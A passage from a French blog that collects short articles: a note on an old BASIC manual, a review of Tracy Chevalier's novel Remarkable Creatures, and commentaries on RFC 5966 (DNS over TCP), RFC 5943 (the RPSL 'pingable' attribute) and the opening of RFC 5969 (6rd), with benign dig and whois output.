À l'époque, l'utilisation de l'ordinateur semblait à la fois utile et plaisante, comme l'illustre la couverture du manuel, due à Moebius lui-même, dans le style psychédélique des années 70. Le ton du manuel se voulait léger, du genre « La nouvelle valeur de A écrase l'ancienne. Place aux jeunes ! » (encore un slogan qui marque bien son époque...) Aujourd'hui, le ton des manuels est tout aussi exaspérant (les auteurs étant convaincus que l'utilisateur est un abruti et qu'il faut lui parler jeune) mais les ambitions ont beaucoup diminué. En 1984, on pensait naïvement que tout le monde deviendrait programmeur. En 2010, on n'a pas d'autre perspective que de consommer des programmes existants, sans participer à leur création.

La couverture : alice-basic-moebius.jpg


L'article seul

Remarkable creatures, de Tracy Chevalier

Première rédaction de cet article le 24 août 2010


Depuis des millions d'années, elles étaient là, dans les roches de la côte Sud de l'Angleterre. Depuis des milliers d'années, des hommes habitaient là, sans les voir. Ce n'étaient que des cailloux. Mais, en ce début du 19ème siècle, le regard change. Désormais, on voit les fossiles de ces créatures remarquables. Désormais, on les étudie, on les collectionne, on les achète. C'est ce monde en train de changer, ce monde qui commence à accepter l'idée que les êtres vivants n'ont pas toujours été comme aujourd'hui, qui sert de cadre au dernier roman de Tracy Chevalier, Remarkable creatures.

Le livre tourne autout de deux personnages féminins aussi remarquables que les créatures du titre : Mary Anning et Elizabeth Philpot. Ce sont deux personnages historiques mais la romancière a élaboré, sur leurs travaux réels et documentés, une magnifique histoire d'amitié. Face à tous les préjugés d'une Angleterre bigote, où une femme qui décide de se promener seule, ou bien de s'intéresser aux fossiles, ne peut être qu'une folle ou une prostituée, Mary et Elizabeth vont se lancer à la chasse aux fossiles, découvrir des milliers de spécimens et plusieurs nouvelles espèces dont les plus fameuses étaient l'ichtyosaure et le plésiosaure.

L'époque voyait le développement d'une grande mode des fossiles. Elle était donc pleine de collectionneurs de fossiles qui ne savaient pas distinguer un ammonite d'un bélemnite... Les deux héroïnes du roman regardent ces collectionneurs de haut : elles n'achètent pas, elles chassent.

Le statut de ces espèces récemment découvertes faisait l'objet de nombreux débats (l'ichtyosaure n'était-il pas simplement un crocodile ? Le plésiosaure un couper/coller d'un serpent et d'une tortue ?) mais le roman n'est pas un livre de paléontologie. C'est surtout un hommage au passionné (plutôt à la passionnée puisque peu d'hommes ont un rôle positif dans ce livre...), à celle qui a « l'œil du chasseur », celle qui, entièrement prise par sa passion, ignorante des conventions sociales, voit les fossiles là où les gens ordinaires ne voient que des cailloux.


L'article seul

RFC 5966: DNS Transport over TCP - Implementation Requirements

Date de publication du RFC : Août 2010
Auteur(s) du RFC : R. Bellis (Nominet)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dnsext
Première rédaction de cet article le 24 août 2010


La vague mention des virtual circuits (connexions TCP) dans la section 4.2 du RFC 1035 a suscité d'innombrables polémiques, que ce RFC 5966 a tranché. En deux mots, un serveur DNS doit-il fournir son service avec les protocoles de transport TCP et UDP ou bien peut-il se contenter d'UDP ? La réponse était clairement « TCP et UDP » et le remplaçant de ce document, le RFC 7766, a été depuis encore plus net.

La discussion était d'autant plus vive que certains registres procèdent à des tests techniques obligatoires avant l'enregistrement d'un nom de domaine et que ces tests peuvent inclure la disponibilité du service sur TCP. Par exemple, l'outil Zonecheck dispose d'un tel test (qui se configure avec <check name="tcp" severity="f ou bien w" category="connectivity:l4"/>) et l'AFNIC impose le succès de ce test pour un enregistrement dans .fr (contrairement à ce qu'on lit parfois, il est faux de dire « Zonecheck impose TCP », Zonecheck est configurable et c'est l'AFNIC qui choisit d'activer ce test, et décide de son caractère bloquant ou non). On a vu ainsi des discussions sur ces tests, même si les opposants ont rarement fait l'effort de prendre le clavier pour écrire une argumentation raisonnée (on les comprend quand on voit que toutes les discussions publiques sur le sujet indiquent un consensus des experts sur l'importance du service TCP, voir par exemple http://www.circleid.com/posts/afnic_dns_server_redelegation/).

Mais c'est aussi que l'approche « légaliste » de la discussion est vouée à tourner en rond. Le texte du RFC 1035 (ou celui de la section 6.1.3.2 du RFC 1123) est vague, et peut s'interpréter de différentes manières. Il faut donc revenir aux bases du DNS, pour décider si TCP est important ou pas, et pas essayer vainement de trouver un texte sacré qui trancherait la question de manière claire.

Revenons donc à ces bases (section 1 du RFC). Le DNS peut s'utiliser sur UDP et TCP. Par exemple, l'outil dig, par défaut, utilise UDP, mais l'option +tcp (ou +vc pour virtual circuit) lui fait utiliser TCP. TCP est obligatoire pour les transferts de zone (cf. RFC 5936) mais, contrairement à une légende répandue, n'est pas réservé à ces transferts et peut être utilisé pour des requêtes ordinaires. Il est notamment obligatoire si la réponse arrive tronquée (bit TC mis à un) car elle ne tenait pas dans le paquet UDP (dont la taille était autrefois limitée à 512 octets). Depuis la création du DNS, la taille des réponses a beaucoup augmenté (IDN et IPv6 mais surtout DNSSEC y ont largement contribué) et, malgré la suppression de la limite de 512 (cf. RFC 6891), TCP est donc encore plus nécessaire que dans le passé.

Arrivé là, il faut faire une distinction importante entre ce que peut le logiciel et ce qu'a activé l'administrateur système. Ainsi, le logiciel djbdns permet parfaitement TCP mais il n'est pas activé par défaut. De même, BIND ou NSD ont TCP par défaut mais un pare-feu situé devant le serveur de noms peut bloquer les accès TCP. Notre RFC 5966 sépare donc protocole et mise en œuvre et ne traite que le cas du logiciel : il précise que tout logiciel DNS doit avoir la possibilité de faire du TCP mais il ne tranche pas (délibérement) la question de savoir si TCP doit être disponible sur un serveur de noms en activité. Il note simplement que l'absence de TCP peut planter le processus de résolution de noms.

La section 3 du RFC discute ensuite les différentes questions liées à ce choix. Le principal problème est celui de la taille des réponses. Autrefois limitée à 512 octets, elle peut prendre des valeurs plus grandes (jusqu'à 65536 octets) avec EDNS0. Mais la MTU de 1500 octets est hélas une limite pratique fréquente (cf. RFC 5625, du même auteur), en raison de pare-feux mal configurés. Cela peut poser des problèmes, par exemple lors du déploiement de DNSSEC. Un simple NXDOMAIN depuis .org dépasse les 512 octets :

 

% dig +dnssec SOA certainlydoesnotexist.org

; <<>> DiG 9.6-ESV-R1 <<>> +dnssec SOA certainlydoesnotexist.org
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 64046
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 8, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4096
;; QUESTION SECTION:
;certainlydoesnotexist.org.	IN	SOA

;; AUTHORITY SECTION:
org.			0	IN	SOA	a0.org.afilias-nst.info. noc.afilias-nst.info. 2009281221 1800 900 604800 86400
org.			0	IN	RRSIG	SOA 7 1 900 20100907065203 20100824055203 52197 org. m3DPnEo+Ibd8W0d/cVW7sMZb8UooI6F6mOn/mQSeLiTnLRUvPaMFsd3m j12W4YgVGMyf1s/YLIItoBy7fhKDdJ2zi2r8PfuBrT9Hr+dut+IHRGDR r+6ALaqBISWeyptCe6TygeudG/1sQkQZlCvaBGKUFpsHEi831FwtMZjc hmI=
h9p7u7tr2u91d0v0ljs9l1gidnp90u3h.org. 86400 IN NSEC3 1 1 1 D399EAAB H9RSFB7FPF2L8HG35CMPC765TDK23RP6 NS SOA RRSIG DNSKEY NSEC3PARAM
h9p7u7tr2u91d0v0ljs9l1gidnp90u3h.org. 86400 IN RRSIG NSEC3 7 2 86400 20100907065203 20100824055203 52197 org. WNHP4aq9hxWHjgZ10HKlqiU6bx2PVQyCgeGJQqykAay4qTcQvD77QMRm c9efWt3M4BO7rr7bt/uY+TqsriJvB1uhvqg93Ti0fPH1SX86hhG8B09U czngma0DZ1UtaCgwpjVQJbAVYRknyfyi6NM7hWwbxUtD44EVWE14qEbb 93A=
b42oorh0vfd9ble13e1him76im76qsl6.org. 86400 IN NSEC3 1 1 1 D399EAAB B49TR2SSRPRC2FF6FIVQ25UFDMRL7Q63 NS DS RRSIG
b42oorh0vfd9ble13e1him76im76qsl6.org. 86400 IN RRSIG NSEC3 7 2 86400 20100906200816 20100823190816 52197 org. I5l7iR/5TngAspzO36TkNYGGugE2whPsUvQP/nPoNMBCC58/4TtNQysF Pdfswz5lPm14Ei8UrCSXjG17Db7yVFk4MD/oidsfweEJ2hwJqcoPAXqY bcqliZxUq/9dLW7zkH4tKwCDXfYHQKFgW7MhKr/i5JUJRkZgR0Q/7mmu PF4=
vae6tvink0oqnd756037uoir56fokhtd.org. 86400 IN NSEC3 1 1 1 D399EAAB VB1V404HEINQ7A8TQTJ9OASALN2IS19G A RRSIG
vae6tvink0oqnd756037uoir56fokhtd.org. 86400 IN RRSIG NSEC3 7 2 86400 20100907011155 20100824001155 52197 org. lHZ3Zi7vMKEcPif/SE9w31xobVq7VXcifR3EE+G1c3lxm3bKdMI9tY3x 6hOkHbUnbgY8XNvEmaobjmPYd4UdYLQa8eonTuRaupI90AZt9Fi83k6u ruCRHP0ChO9VUD+Yc68mM7spD+7nTIfRu/FkNKEuNvqSHipgR5blBfNg KZw=

;; Query time: 43 msec
;; SERVER: ::1#53(::1)
;; WHEN: Tue Aug 24 08:54:12 2010
;; MSG SIZE  rcvd: 1019

Dans tous ces cas, TCP est la seule solution fiable. À l'ère de YouTube et de ses giga-octets de vidéo, il serait curieux d'en rester au DNS de 1990 et de ses limites archaïques à 512 octets. Un serveur de noms doit donc pouvoir utiliser TCP.

Mais, lorsque le serveur de noms a le choix, quel protocole de transport doit-il utiliser ? C'est l'objet de la section 4. Elle modifie légèrement le RFC 1123 dont la section 6.1.3.2 imposait à un résolveur de tenter UDP d'abord (et de passer en TCP si la réponse arrive tronquée). Désormais, le résolveur a le droit de poser sa question en TCP d'abord, s'il a de bonnes raisons de penser (par exemple parce qu'il a déjà parlé à ce serveur) que la réponse arrivera tronquée.

Les sections 5 et 6 sont consacrées à des problèmes pratiques avec la mise en œuvre de TCP. Par exemple, comme le DNS sur TCP peut faire passer plusieurs requêtes dans une connexion TCP, notre RFC précise que les réponses ont parfaitement le droit d'arriver dans un ordre différent de celui des questions.

Restent les questions de sécurité et autres craintes qui sont mentionnées par certains objecteurs (on peut citer http://cr.yp.to/djbdns/tcp.html#why comme très bel exemple de catalogue d'erreurs et d'énormités). En effet, programmer TCP dans le serveur de noms n'est pas très difficile. Ma propre implémentation, dans Grong, fut triviale, car le langage Go, avec son parallélisme natif facilite beaucoup les choses. Mais, même en C, si le serveur utilise plusieurs sockets, par exemple pour gérer IPv4 et IPv6, ajouter TCP en prime ne changera pas beaucoup la boucle principale autour de select(). L'obligation de gérer TCP ne gênera donc qu'une petite minorité de programmeurs, ceux qui essayaient de faire un serveur DNS basé sur le traitement séquentiel des paquets.

En revanche, l'obligation de gérer TCP est parfois critiquée pour des raisons de sécurité. La section 7 discute ce problème des DoS : TCP nécessite un état sur le serveur et consomme donc des ressources. En théorie, cela rendrait les serveurs DNS plus sensibles aux DoS. Toutefois, presque tous les serveurs de noms de la racine ont TCP depuis longtemps, ainsi que la grande majorité des serveurs des grands TLD et on ne voit pas d'attaques pour autant. (Le RFC se limite au cas du DNS mais on peut aussi, en sortant du petit monde DNS, noter que l'écrasante majorité des serveurs Internet utilise exclusivement TCP... En outre, UDP a ses propres problèmes de sécurité, notamment la facilité à tricher sur l'adresse IP source, facilité qui est à la base de l'attaque Kaminsky.) Le RFC recommande toutefois la lecture de bons textes comme « CPNI technical note 3/2009  \ Security assessment of the Transmission Control Protocol (TCP)  ».

Et la charge du serveur ? Le RFC n'en parle pas mais il y avait eu des inquiétudes à ce sujet, basées sur le fait que les études montrent une augmentation relative très importante du trafic TCP lorsqu'on active DNSSEC. Ce trafic peut-il épuiser le serveur. Notons que, si un passage de 0,2 requête/s à 50 peut sembler énorme, cela reste ridicule en valeur absolue, à l'heure où le plus petit serveur HTTP en gère bien davantage.

Par contre, une autre objection contre TCP n'est pas citée, ses possibles problèmes avec l'anycast. Désolé, mais je manque de temps pour la commenter ici.

Ah, me demanderez-vous, mon opinion personnelle ? Je trouve qu'aujourd'hui, TCP est à la fois indispensable pour ne pas limiter à des valeurs ridiculement basses la taille des réponses, et facile à déployer, comme le montre l'expérience de tous les gros TLD. EDNS0 permettrait de résoudre une bonne partie des problèmes de taille (et je veux donc bien entendre les objecteurs qui diraient « le test technique devrait exiger TCP ou EDNS0 ») mais je note que les serveurs qui n'ont pas TCP n'ont pratiquement jamais EDNS0 non plus... Il n'y a donc guère de raisons valables, en 2010, d'avoir des serveurs de noms inaccessibles en TCP. (En 2016, notre RFC a été remplacé par le RFC 7766, qui augmente encore le rôle de TCP.)


Téléchargez le RFC 5966


L'article seul

RFC 5943: A Dedicated Routing Policy Specification Language Interface Identifier for Operational Testing

Date de publication du RFC : Août 2010
Auteur(s) du RFC : B. Haberman (JHU APL)
Chemin des normes
Première rédaction de cet article le 23 août 2010
Dernière mise à jour le 21 février 2011


Lorsqu'un nouveau réseau est connecté à l'Internet, il est parfois injoignable de certaines parties de l'Internet, par exemple parce que ses adresses IP sont illégalement utilisées par d'autres ou bien parce qu'il est filtré en raison d'une histoire antérieure. Les bonnes pratiques opérationnelles demandent donc la configuration d'un serveur ICMP qui répondre à des tests, par exemple depuis ping. Traditionnellement, l'existence de ce serveur était annoncé via les commentaires stockés dans la base d'un RIR (comme le commentaire remarks: pingable 2a01:190:1764:150::30 du réseau 2a01:190::/32). Ces commentaires n'étant pas analysables automatiquement par un programme, il était donc souhaitable de créer un nouvel attribut RPSL pour cela, pingable:.

Prenons l'exemple de l'allocation d'un nouveau préfixe à un RIR par exemple, l'allocation de 175/8 : le nouveau préfixe est souvent inaccessible depuis plusieurs parties de l'Internet, par exemple en raison de filtres anti-bogon. Il faut donc une étape de « débogonisation » où le préfixe sera annoncé par le RIR, des serveurs ICMP echo seront installés et testés. Lorsque les filtres anti-bogon auront été mis à jour, le test pourra cesser.

Notre RFC 5943 permet d'automatiser ce genre de tests en ayant un nouvel attribut dans la description en RPSL (RFC 4012) de la route vers le préfixe en question. Sa description complète figure dans la section 2 du RFC, avec cet exemple :

route6: 2001:DB8::/32
origin: AS64500
pingable: 2001:DB8::DEAD:BEEF
ping-hdl: OPS4-RIPE

(ping-hdl est le handle du contact technique de ce serveur de test).

Cet attribut a été mis en œuvre dans la base du RIPE en février 2011. Voyez par exemple l'objet route pour le préfixe 84.205.81.0/24. :

% whois -h whois.ripe.net 84.205.81.0/24
...
route:          84.205.81.0/24
descr:          RIPE-NCC-RIS BGP Anchor Prefix @ rrc01 - LINX
origin:         AS12654
pingable:       84.205.81.1
ping-hdl:       RISM-RIPE
...

Les processus qui testent les adresses pingable doivent prendre garde à ne pas surcharger le réseau en se limitant à un nombre raisonnable d'essais (section 3 du RFC). Naturellement, rien ne garantit que tous le feront et celui qui installe le serveur de test doit aussi déployer ses propres protections (section 4 du RFC).

L'adoption de ce nouvel attribut n'est pas allée de soi et on peut trouver un exemple des discussions qui l'ont accompagné dans les minutes de la réunion RIPE-60 (cherchez « E. A Dedicated RPSL Interface Identifier for Operational Testing »).


Téléchargez le RFC 5943


L'article seul

RFC 5969: IPv6 Rapid Deployment on IPv4 Infrastructures (6rd)

Date de publication du RFC : Août 2010
Auteur(s) du RFC : M. Townsley (Cisco), O. Troan (Cisco)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF softwire
Première rédaction de cet article le 23 août 2010
Dernière mise à jour le 3 septembre 2010


La délicate question de la période de transition entre IPv4 et IPv6 n'a jamais été négligée à l'IETF. Bien au contraire, plusieurs mécanismes ont été normalisés pour assurer le passage d'un protocole à l'autre. Le mécanisme « 6rd », initialement décrit dans le RFC 5569, est un de ces mécanismes. 6rd modifie le 6to4 du RFC 3056 pour garantir un chemin de retour symétrique aux paquets IP (section 1 du RFC). 6rd permet à un FAI de vendre un service IPv6 alors que son réseau interne est essentiellement IPv4. Il est surtout connu pour